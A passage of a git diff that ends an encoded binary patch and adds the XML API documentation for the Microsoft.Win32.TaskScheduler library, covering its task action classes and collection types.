zlY4rk8!+>C!kBj=P(|znG`{9aQ&|s@v*DkikTGPCy>>x6D95m(5!O_#U8-6=(ZdMBP38$(eC1Fe#H}{`PI@+kY$?^{Oj%~K6YFjEK zF(yUgrG!b$S+h)_RiI6vU7$n293i%~vE{|L7teu~4h%4Cdb@BV@U&t0;8wo3j_wIy z6Imv+4(+dy+Rrfzn*=!#b7M0rWTOcwr4el^i*b@-R2pVAHkN(;I>YYn>+V!Zx^{W3V=?Zg z)S5FMIsanPnEtrEe6qvgl)iWRGu(1{xD9(pk9_t#JxADu6J~|L3dG|TPR|ipLwcrP zY$H7VqPdwdHn$mXFMDlPkCyJ9*=(l(MK6r%>!S-=y1M&TspYd<6qd>=8) za7A+V+t=5*%4xHR=l6NLWgTwmTj{iO>d-|~!0L54xlq;rs$2GjZjgEuB_F6}j7;2g zI8p+5kk%@y(#FuT305Bsf| zVY*pm!#%S%=nfWGMi(pS6=%U%(3ERTcOTX5q|8G|C;oS?C#ntSg6=-!8HqC|U5n^3 z7tR88H*>B!8c$nn>N9wHj1Y?zkq2NnE-)8k*oC!bs^TqS;SuNtShj5p{=l{_aEi#{ z|6-_%4n;oa#db+eIpHB7w(TGvHn0&h{xdsF)i8;{Au7mg&)tnvAl|sp5X2AaK2zK4 zMHQD<8n+%p4(I#w%w_O#Rb56T4yznhYQ_C+7h(=fS;*a{tin^7nQ8~ zKuz@q8V^!+M@K;H&wSvFPh?~&B$@_Tzi#B6r9P5jUca_1m@^GfQ z%C`*J(zwIc*bE!T37I5W7l@{!jtJOjqXfY=9@UKwhh4jL*2p2;5qmkRwxAH1uDXXC z+H5cN>sC5Yy~kZnEZ(5G%y5t>cMY5c?Y$fwjkyl|`3i{+6fnSQiqU@4%6n)f$aaw; zD5p)C=vFG(4STyppH|HmP943XhoWXWoU0iOAl)zN!5BPfnBhT~P9<{R$+o0V^Uyk& zXib=T$htb%up!CGtj79L)UvMiSWjGoIx8P1-+#w#(|69$f3)iYAO3#-OuCtIGIyFs zu9hHgn8&h<6AIElEO^|^z!s?41px`lJ2ff~^{;%njP-pFC ztm~2muv6bk4yfd_AP<5>CnIET9$n^hI?bp(zYt-on6D;@O^JeteUX{|jENfOhSM|0 z+!T$)zKBw7ZZ|M7=?>);aBZtKw8d2zkYTDkVje9NopEt0jO%RJAm9@r(tS<~?fMzVOFWjlXW-N(0v#*e4NEyQ;Ughr&4hMD2ym zTSTx%L-=2v56dx|Q8rozlo2{AK$8?}KC)8%cvC;;MyddKI7HQ2HCNarFoF-@^DmiX zPIS1Ko2S)QwkxJK-6rZ88}$tI<<4O+*kTaN-p0x-0v1UZ9&UKbOjunTQ`%zSzi1HI zj|iXUb^7E?G1cGQZzAeN6^v_|D)xk>iRTW?a?IS+j+yiq4E!geIGa!k&`bR|PJgtE z2}$=q+JpCxx`3E2RzwAevJMHg@g`$!CU@`5i_MA>R!lw7Z-nlP3z)EWn`J$mU^cKr zQXOiyflRmR0#8WHaOrBany^iOH%BbuFS$M$8RG7!L}S)yAMCTBWOr4~(DHd)7Zi;p6LRQm!GyOnoB?4OXbOe;ZTkbBh?BABFUY5RfpW(8qg7hD83sWz!RhH9j^>t01$$sg0tk z>`bl)P2uB$=G2z;jJz-$0poJ%UBN<*vd8n7b1QqCHl)@LyJIsktEn}^#4^NxJ8A4- zp?IQ$Y9xDnu#ZpW+^iq0I8O zSF#GZgr%iR(i`4>80Q60wnBP-%tfUBbx`EzQteu8Rdj-ENP%WZ>W}r*?=bZ1M|Hsh zVz~bi6K7r7YDSaBX%62rGbgGxQ5R~B=EquPIzpg?h;M|C z8XX*Ms=MDCFxv!k=1w+{Foi?h5(aj&gEr;XA7fE(Um?lpdV;Z~p@*#y>|$l;M)&Ks zw_-w6Ps}(NaST%&5fP%yjoap<=4RHW%t}tMKpbVKw;oPMulJ&_BmG?Gd(#Fzo zPMKT!rm6ZWP8u#(SC1!T^!QrU<*Y?|JX!$b*GQS4>Xd{EZwss+aE zd*=q*S$y$hG7Ig@or)pdc9TgrkC54f7P}nJ+%7CF(PW$()aq>_ROe^e>ZrE$2-Sr5 zBj#q1)x<2!W+Gv-GuMGm^v2?S!vZkW9gaM0mHi?Zp3?1Zp@W?mK`rG?e0W9^iUL(9_z*+ z8{Tx*!B0dD`h>Zuu1BJn4S$# zEXK|XiO*X(_d+8xRAyZ&wWH0nqoy;STd%3yTYuJUo$Jpcb_^Inlk+`tc-a^4(Ujd z*^O9!HM=`;>F2MDKVc$CH^>4BI6{=SjQ~bSAl6605d(LCfGG-m zOi_xy-oSUXZ(zi#UG_pncukCVgS1qvD%|0D3g|MppI@#7Yp_rR-j+a~n%ls3S|pzb zqN5tPRgkT-V#Wp8rz-q)16LZj*1$fXwv2*Lo0x7Beug^ruX=CU)FeD1$nH%s zFBtewrur}1l5f+E_D|;0rAjw;NaSFL1gyQ=&g9dI@0!x~?Bn(HevMGJq zz@mXBp0!N4+b!;OmX>KN%a3x5oAjeL;aQbl|G41Hg>*$1e}*rRH`H}@dpp%ex~PY& zXizkB9ZEB1RO*i^ToV&8T}-&zVf)kT^*Hw2`)s+X4YsViwo(|svOJbMGE^F`a$G%l zs8T*W;Q@~maeg?W^bK5@8_bj|rPTQN#>T1k%^Yh(plfZuQWz~AE>~{M4o{4a6sE4^ z)~g&oFwXEe-CKsMTPOGXGUd_H$uUmUd9|v?S(hn~PgRBw9;*62`+zSL2!#BhK#2EY zP5;>AO#kh!O8MsDVrjxx@J$Sl9ULk73KJ8h(fuP+zQa^_yj1ZWC|7*dLnU8uAmA&E z6@4MDH`^ok319huZ?G_Nqi^@np;B>j#Gp@tG(6@jjEwkp3=dVx6XgR{Ul~$`DnZ#_!=%Hef(3QoN=xGFi%$M@C9R>W_;zTR#W?eAI-0 zOKGfB86NU)Q-v6){UfDQq2WnksO~BZR~mS`@y{4LxObyV-QHey8KkQ&QTkA=i}DII zys1*BuKJ>p*gaMlpEy*mUc5O|DZvIJ6QU>a$4dW9WUekvP#a5!>bxR!!j7}S^qK zgt|8j3yyo78~?4fWVlm9L#2s{OnIzYDUTSDL1d$n+0w*NWq6$4-(4(@ z`)4U|_lXK5@?{m6@;IAM(@)6GgQd#Fn~{{JSrtS#Zbzn*=%Yc8b0wvj5kgdys>4R; zG{?L+Tw&fxoFXxhvSX#gh7SrFS)}KDo?V4%wNx3S8ypse9;f976R-k+7)b*Y)7l82 zirW}-Rj&3%Oos^+JkDO%tI7428rU{QA?5MirOM62v}b_TqA~pC$_=55H(xfiZ=buu zWJXvFLi++2Z{F-5((FCBZ(jqsbTn{T(Q#gh62hk}fezmJ@`fnG(BzJcS71KLx%_Zx zM8fal%?C@>eMVkc&Ss*n@i<-EONEK*uFCMu!y~1GCCAYcx|M|z(U7{iFgzk5=r~t< zoE=M6I4y)58Vi>?vQ+uY+5fDyHN3I0pndiezUy{v^syGXh(v%8xRBw+v-GkhB(vI>G=hcz z{<52nBM@FlAc!yCiTWuRQw4T~PftB09H?9b$p2mWo2#j<@&AK+|e_IyC0o=l5x@5qM0#;tD*2n`?900QB7x zREm@t+IxZ&wchB+1hOI`a?_0%^__`%Mpp+N_+l-szhu^x!ca9eHdd}04R6EiF1^f$ z4px2Lh1WOMSd+8g^p}Vl5(FMI0jeaadV(sw$|~!tw~Y;rOcqPq#-t367Cfxi%aN2@ z(KFF;VT!I!=~fftg`rYZIw2~dl)ur!#K34n=QY~lVXNR?!sL%!5(r%~I$SlX;$X}2 zZ4*~cj#x4CCXds(yEInJjUsqndGc?7WpYPKL$5sL8$8a6-G`WK2;IWL(kov;Csp5u zpRnWX^*9|Vqry(S^2J0v&Yp`-v& z`O)x{Scpm7dbWe8ZrYUo9NN&!-Z6J`X{>s6X{cN&vhp}9 zP|&Q3?Kl^DobwamWHug;h5XTADCmy_0!e=|6pr{K`9L<93@5opEM_j1%fwTOygw9A z1^kh0Hsepk;!%Gv5)Z{vfnX|}NI4EqzYNT8=#3WM*gPy*XeX@t$EwNGF?;-{=fgp( z28$CVIvuA7Uu4+cj1>zNH}Mr8A#IbE&nw8UIDHQ`m&B>tK3}@4p0oU*@1a9Gj`+uI z`YX>rhC$M)Tr`qQ#{H2*8V1RvbN*y97WHRi>0Brl&ZToHmq7xdL@1C8CjIerGU1Qp zvLSyuluP*Y*-R#r%jaXkWZJS)D3#2FquG={8;(Lan2-3==}Zu-P&}0hri1x##>I?f zL-}kd8uG`ZnJ7#di}{m*bjlw}#j}Y_CL9PS^Oj~X6w5?2*#u=KC_R{s`V-l7-k*yk zgONxql_k~14CG^>Of2G$=YlbRBpi(RQ-Ms#AIOAbiEuud%tqMPYjR{G(R3gfi~DJC zm=@*o{xmbfABcxTnN&QL4@KF22{V!jXJesAmd3`?{zx(v1~VP^2a=g|IFk)Ci+FFl znQ)P4lKKSwfq-a+BOyPND(ep<68Tg*AEfbE15D}Ba6B7I2mHx=8q6%SG8qpi{lR=b zn#sk}!CanggfQcwY$}@z)77aQQ#T#X`O_&nHJW8Ur}BYNI_S1N9?xQVqjt$aK1J!N zls_E}<@}j!N~28cVoYMuOvW>jXf7Z0$I{sABB@}?pUebu{$MVhPp5*>Kp^GPOy=X+ zTq+UqGaR%%6rtw>=@<>nCG)XJEFVm}9Fk2Yve95J>dz$8)H4}N`Qe11KbS}+0-;zi zlMlF~8Hyy5!DK4u&xIiuNyW1ML@Jl|=K|SqFc!@u1Cg9t&rBjlmj(RUTu!}|4bt;* zIu+i?hp2ok2xcdX6SL=#&69}5Lh+oc03X3CbXqEsP5M)ra5xnYOXPzz(w$@RXe678 z2N}9>g1(L*)00_xBbrQ5rF<$Ji@01K4McOvTrA;FZHX3H=BKdgSpH481^Gx$_G?vfi(rz0QnS3e}U;#=65-cm3Af>06!KqX{ z6QZ0zHs9dgWH13I#8`Hiypd2i&wLPrhU1V-MYD;Z+r#NdE}x)xNy@+zF^z9D5b@{o zv1E?QAhNQyp5bI5oCwgOP&$GvNHGz`9CUa(mQTbI*-(hKi+iMN+rAzwRM^ei{jjAH zV&T#3w_7RXff^kvvAy<$_EEw-Ff_ z8$sod<#G(!P$24Onj=87@oYSmOuz?8w-TvrG8@Pu-7@h!te#FYWMF24NYz9(lZuA; zFojA_#o+yXDj@+XA(Bn|Q!#{cl!|8)@pvkpcEwFN7s({U(V#z@WP~H>M4BZb5%*_u z=~OI{MhpjB)=JaLNIVztlR}S&;w%aIP?9;6iKf$G3>*QMwF1dxB$$AqkWLIsI-2$; zl4NAk#~Jk?jOPl_1d}crNFa&QAy^A}LN6s)pOV>NB%5c|i@T*q;g@`d^(_&~({^!p zBF+R$p+BXf@k}zCaVJZV1(UfJ_oqUsv_BZkAe52rh{aS&vOfSRJ{#|GVy9t>V1p?# z(x9XRn^O+k!)_^5;8dk(EL=>c!l^KMg!we8*fopmv#1&j@2Q9{s0Nb%WnuRRc_#nIUyImUWu*b_| zsLVUc#nQ+CwmkORGQ;iM|7MJ+P1URU*yWN8Dr*7KHUHk{Liu2eIi2GyN82w=Y-|WC zr2Z;}hji_JtZP-%+#*TUGF;@)Zv}CMp+loIXF`^S1>1ekn~`bSN!{Q!oX#@mT#deb z#hz?+93FCCv6VxIQpMOqPqXDz^_wR5^C+BP*MfAp$jK&;-k-*BzpH$> zRM~x~G%{k12D?TIRn7)Scbd~zuge@PS{yp;cN;0g{%)AA*{)aa8DnoCuqhbW6hOPx zF=Teq?ri_#iVsq@DgHmMy>5Zi@9;Qpa(h@h($ArH&)3SM9}@mJpeX&2HXlLSe8?PW zH4kWB&e0nNkVS`D8-2u_{D6rDF3Dg{!Cvm6)E=Gn40f%^jg%xkG$)PqZm|p*+|??1 zx8c+an5=%5|A&sJy3lfWLgJU4n)m|4pDlyaprtimU^YEr5d)_#V&3R#OZcVZOPDvD zp0I!mPhEhqxLVrm=a<%gMY>$BHf$e@M7Z1ir=h+eJ9d+$)R!7iPFVlbXaq}aFehrm zHf+}ajy5dFjy+~+8&+BirE4BKQ5T)YthzA&iE1yI{O_p!g6tP)86P};u^#O5>abq3 zsbyOh!|Z7mNoj&jyKE~yJ?u?*WlZ$cjHX=f8M1i`#qQyvO6h5Ctb0~Tlhpk4< z>NQ7tyQ_stb>~=?gBIxn|3OPxFw|H(hv)nI=cp@q*qdDLasKT`3!U2zj^WmFW$7?$ z9q%8Sew#Z$+2H~y6V>6N30a8c$k5Q?%m%kPawkCi8Fad(FIZ{nbW(lNr9*|A(I4%Z z-nOyg@R0HBI(!IU7#zr~${XI0Q^QlD zYctwJAIA{{*TdqeOJI3;qnW0@Dw4|WFw|};x^wruv!3yUkspk!gBfo>Q}arRjSvmS znQsDLs6x?K9>aCUP@@G^k5gW(yd45>e~Fgjpfphdz1tIe+*E@BFVH z{Omj5_R?p!f9u%i|MQ<+_V^lK=*iDK7Jjn(*P~C~`=wuh>i!3A|K_IKpa14t-gW+8 zcD`ol2iITo{0mpS>dQYl^YB&w@YZLJwEy?(ldFF6p8L9frSIF_cTHZf_NJeFXx-!Y zf9K4^n_lta$UAe%I?iwDQcOhx%v#`q1xP@YLwtuPsddulo0H`N6lJ zI`*;M6K~b$i$22NO|8846t|dd{N2u<+=0&L?Uvsq{N^^C*+_q!``@R32TAjgrw zd$_-p_)ie`XE+3ofiJI`PZ3^0zAfOrmcK28-_PF!xc89nF~T>)MC&zP{QedEEaB(C z{Y%RFB!BPY?>g}Pr2jF0-vs{(@OY}z`D1AO7p@PG{$;LPg-^Ih{tobdk9yn$y%cHx z#Qh%d(fpln5%)G|{Dk<=fs2E-^9X-yiF=+h?j^i|x_zI&udX7T;?0?QeW_k*+W5k> zeKqM;$G)0WuP;T>;CJ4MkaK*LTwkoWpZi_|+G|gQrq9~zMW;F5(y0%%k2vRpdeMnd z^||oFyv5Xh=)B+@B*Zb5<2zB!7LwQk(%LMajlR}Nnb)CaDNLUlznX+~^JOp0bG=Pc zmeY3E* zKP2Jot>#lvi(u!~_w?Cx3(FK7FM zU8b+pk;A5aBYKp=Ij@0iyGnhXH7zahiF?(xD1Fm8`*^ggpj$G3MMp0$?LQvnY7q2( z;3V36A=SC2CXYWGt;#p0QDU#Woo;*3^yq9E}xj6SE_hKbGsRPda zAieg~NP4Mpl@|s79;ktrhiZ94to~IpoxeC!V`h|TtLBKfd&>C}5SO$yXWpAE<_$VL zOmjRPy;fPtX=qH)q#+RX66@m%JRULRob~b$!_Gw@E*ZmZR9pNQbT*N=q}q)aLXVMr z70Iyc!ZDbikaiSt8eCf8#VA%}1)cYT$aGprOFVs$hKpquj%(1-3vQWCOOeOPpuul2 zz+Zv3@$_i(d@zKtxchWfUYt!5X2i|<(CJES z$eG0?{+Mh_IChXhAEj%8M$1^jl8v>!A)5Y${7aapfwE9Q@zs%~0;YjBFQ#5~a-{kB zeKtrZsZ(RBU3_vn^Aj!t(vr#FsL|p%^?DF5T0E2|MzoVp8rHyx(N8u7uOiE)6K7dG zSo3RLh80z6l{A`hvY(_!8bdh)%1K7)S}2rYJxQ2f25m{7EKClf4q4>)gSbQ%G?GN8 zp%gUYCY(Pc!`f?`>ePI~izKX5LLRQuE7%V;3t5J4*-X;A>8s78kz-N^d+TxT|NsaLJ6C^ku+(9ec)Z94j9l^LPtm zQ^suO=}A#t^BAhF_2jsxD?{tB@3}_}o?cMsvg$Dz4%{Al)si@MAU!$ZSvfpr>dgZt zBU7F;^ayIfS9FhfWqeSLI~1+JnQj@)jxCs?wj3MqtZ{2WnOOC#X~45)CxdGu{65Yd zHW?zTFxeWP3VYkN(U%j-wyeEB<63L~8yz>cM@D3rQy@<_Ef^^u#H`k+)kV!V5l3S* zQYI~QY@_WQ`cOSlJmwi#h-bE~{_uw%{_uxyz4g|weeG*Y zv7UbVB_dyVp&9?3?|kQ+bI!Tsl1s|v^6J&A_wC!)OnT|5r(W{=@fv#RZEtHv?%cVv ziSwf${fI1XDL?wri}ARS`QP3B=fCnRpZ@fxzx&)WzyGYW&Z0_`0)*NRcI>d2 z{}>Jvcs?4vX3Lfjedt5fuJk--}~N|F25YKznh$dGV}@m&0F94 z_kaKQq*BC3KJt-!@4eSHf#y@hAHC%*Uz*g{K=}P+Xh>!Ge1CNR{Wsij16d$WJZ+)* zR0e$eGw9Bfzw$T$z|yiPvH3*ZUFy|%P%KP%xUq@p;tfpQQ*n&7uE-Y{HRznu!KI1y6lv{HEY(8 z*VZ38YuB!21n;`*F8uRhnC6c@zwNf$dV6~>yzoMc+|2U!x4(VYu3aDe;0N8#H5YD) z{OCtNx)9lhUwGk#PkriBPd@qN!lW;J;R{4Aj3G=9@cYT-eOo@=^22-ndPDW##*bBh z?Gu4F-2LBv%eV6jSM2@%k3amU#YgYk^qFG&z|~)Ue#6YYU9s=YRQ~4rTQ2H3_X9i5 zx%i3LonJrmjR#|Y^9N7$<$mMHs_Dlsy7;p%-2TlQ{?~KipX~lrw#Vx{clZBH-3e7Y;`U$s%2kiNbo)PlqGjg=ZyMRX?wl*zfBAcdREMWOarw6#&yHQ1oOke-h_pG0 zb?8Fwk8L)uo^hPl@%IF2Pb^3iiUxDx@9N#z-7~lNAO6DVGgtiXi;tJ@dhR{9iAHAA zUL6ok>@{z1*qbd6@!kUt`S#kEXz@74Bc&ADs7UkS@LdkvP#eZU;H*4=y`YbRgI+Q;=ub_hF_)%jHGkN&qjKvx=1(3a-) z^(K{1tZ-ehpqSV!&;wN&khIf~MMmG=lEGEK^Gz=8!L+NIAbsBQWe}VPTmKQl9_myD z%NqWUr}Re#CqTRHzX;Yy`oMX?^E`QF;?TFctSM@Oco{d#jHtfpCDVwHa(!GaebrJi zGMUI!AaOiW*#y+zPQjQ=WvI>}-GMf4LYL~s2ZA%*|Ytd6_`s|et zbF?+Q`e>c~L{c6=j$4yd;Hj9qjEYIlyMDZ%=d_Bi*teoS{_nd(K(Minmy`ceJW3VGT*wNy*>lb z7H4T*tfP$W(AQXwm>wFZU#yW*pLJv1puZQ#`J4ynP5Y^~5a(eEg&ZC^fr9G1)6FlQ z6V=B2)tw!gSEBBF&A8c_t$8GK=6vt``^GC~#%nR{rK5JDG23MFrQo2&lH}#&rTZ5D T0&U1#WVkx^|Ns7<>w*6RP^gU* literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.xml b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with 